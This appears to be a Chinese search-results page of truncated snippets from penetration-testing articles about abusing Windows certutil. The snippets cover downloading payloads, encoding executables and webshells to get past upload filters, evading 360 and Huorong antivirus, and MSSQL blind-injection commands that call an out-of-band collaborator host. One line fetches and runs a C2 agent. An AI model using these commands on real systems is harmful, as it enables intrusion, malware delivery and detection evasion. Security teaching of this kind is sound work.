首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

干货 | Certutil在渗透中的利用和详解

何为certutil certutil.exe 是一个合法Windows文件,用于管理Windows证书的程序。...这里我首先在命令行用certutil -?查看一下certutil所有的参数,这里只截图了一部分,接下来就总结一下最常用的几个关于certutil在内网渗透中的应用。 ?...certutil下载文件 一般我最常使用的certutil的功能就是在cmd环境下下载文件,因为certutil是windows自带的exe,所以在使用的时候会比其他exe或者vbs更加方便。...另外一种方法就是使用windows自带的分隔符&和|,本质上跟第一种方法一样,相当于执行了两次certutil certutil & certutil -urlcache -split -f http:...使用certutil下载文件有个弊端就是会产生缓存文件,用如下命令查看: certutil -urlcache * ? 执行删除缓存 certutil -urlcache * delete ?

5.6K61

免杀学习-从指令绕过开始(2)

certutil指令绕过 上次我们的免杀成功的绕过了联网360,但在半个月后就被无情的杀掉了,原因和火绒的报错一致是因为敏感指令certutil导致了报警,那么我们本次学习的主题就是如何绕过certutil...(certutil.exe 下载有个弊端,它的每一次下载都有留有缓存。)...可以在命令后面加上 delete指令删除缓存 查看缓存 certutil -urlcache * 看个缓存360直接报错了,因此可以判断是否目前360对于certutil的防御策略中有一项是针对我们的...certutil的字符进行限制 执行删除缓存 certutil -urlcache * delete 绕过火绒 我们首先看看破晓中给我们的certutil的下载语句 certutil -urlcache...^e^""x""^e 炸裂还是不行 给certutil换个路径和文件名(√) 更换 copy c:\windows\system32\certutil.exe c.exe 下载 a -urlcache

36220

云桌面文件上传限制绕过

此时我们想要对该内网进行进一步的渗透测试却发现当我们上传一些工具到云桌面时却无法上传exe文件,但是可以上传诸如txt的文本文件,而且云桌面不出网,在这种情况下我们可以考虑通过window系统自带的一些工具来实现对文件上传限制的绕过 具体实现 CertUtil...Windows 7之后的windows系统自带CertUtil命令,它可以用于MD5、SHA1等算法的加密和解密操作,我们可以使用CertUtil对我们想要上传的exe文件进行base64加密并输出未文本之后在通过目标主机上的...certUtil将其还原从而实现上传文件的目的,下面进行尝试 Step 1:正常fscan执行如下 fscan64.exe -h Step 2:使用CertUtil进行编码 CertUtil -encode...fscan64.exe fscan_base64.txt Step 2:使用CertUtil进行编码 CertUtil -encode fscan64.exe fscan_base64.txt Step...3:之后使用CertUtil进行解码还原fscan64.exe CertUtil -decode fscan_base64.txt fscan_base64.exe Step 4:执行解密后的fscan

3.9K10

免杀学习-从指令绕过开始(2)

certutil指令绕过上次我们的免杀成功的绕过了联网360,但在半个月后就被无情的杀掉了,原因和火绒的报错一致是因为敏感指令certutil导致了报警,那么我们本次学习的主题就是如何绕过certutil...(certutil.exe 下载有个弊端,它的每一次下载都有留有缓存。)...可以在命令后面加上 delete指令删除缓存查看缓存certutil -urlcache *看个缓存360直接报错了,因此可以判断是否目前360对于certutil的防御策略中有一项是针对我们的certutil...的字符进行限制执行删除缓存certutil -urlcache * delete绕过火绒我们首先看看破晓中给我们的certutil的下载语句certutil -urlcache -gmt -split...^e^""x""^e炸裂还是不行给certutil换个路径和文件名(√)更换copy c:\windows\system32\certutil.exe c.exe下载a -urlcache -split

25520

MSSQL注入之无回显利用实战案例

cmd+/c+certutil+-urlcache+-split+-f+http://pha2623wuxr6h68nfsnso7zpvg16pv.burpcollaborator.net 注:我们可以使用...单独执行这条成功: cmd+/v+/c+whoami>temp%26certutil+-encode+temp+temp1%26findstr+/L+/V+CERTIFICATE+temp1>temp2...Base64编码写文件: cmd+/c+whoami>temp%26certutil+-encode+temp+temp1%26findstr+/L+/V+CERTIFICATE+temp1>temp2...注:实战中利用这种文件落地方式失败了,@Tooshy丶师傅在2003虚拟机发现certutil下载远程文件时不能指定保存路径,会出现下图报错,而且会有缓存文件,可以通过执行以下命令清除。...wscript+C:\down.vbs 如果存在360等安全防护软件查杀木马,我们也可以使用Certutil编码哥斯拉的Webshell,然后通过这种方式将其落地到磁盘,certutil解码写入Webshell

2.6K10

内网渗透之云桌面文件上传限制绕过

此时我们想要对该内网进行进一步的渗透测试却发现当我们上传一些工具到云桌面时却无法上传exe文件,但是可以上传诸如txt的文本文件,而且云桌面不出网,在这种情况下我们可以考虑通过window系统自带的一些工具来实现对文件上传限制的绕过 具体实现 CertUtil...Windows 7之后的windows系统自带CertUtil命令,它可以用于MD5、SHA1等算法的加密和解密操作,我们可以使用CertUtil对我们想要上传的exe文件进行base64加密并输出未文本之后在通过目标主机上的...certUtil将其还原从而实现上传文件的目的,下面进行尝试 Step 1:正常fscan执行如下 fscan64.exe -h Step 2:使用CertUtil进行编码 CertUtil -encode...fscan64.exe fscan_base64.txt Step 2:使用CertUtil进行编码 CertUtil -encode fscan64.exe fscan_base64.txt Step...3:之后使用CertUtil进行解码还原fscan64.exe CertUtil -decode fscan_base64.txt fscan_base64.exe Step 4:执行解密后的fscan

8710

免杀学习-从指令绕过开始-1

下面的图片是它的控制界面,利用了Web界面更加简介美观且自带中文 分析一下它自带的上线语句 支持多种操作系统的上线,相比CS需要按照插件才能上线linux更加集成 支持利用powershell和certutil...127.0.0.1:1338/d/pzxsnoqd','pzxsnoqd.exe') && pzxsnoqd.exe agent -u http://127.0.0.1:1338 -s e75tdmwe certutil...自带的加解密功能进行木马的免杀 加密代码 Certutil -encode C+Powershell.exe out.txt C语言源码 #include #include <stdlib.h...+n.txt out.txt 最后利用 certutil -decode out.txt C2可执行文件名.exe 我们通过以下命令进行加密,产生txt文件 Certutil -encode C+...Powershell.exe out.txt 利用文本切割器,按照每500行一份进行切割 文本切割器网站 https://uutool.cn/txt-incise/ 我们将文本缝合后利用certutil

19220
领券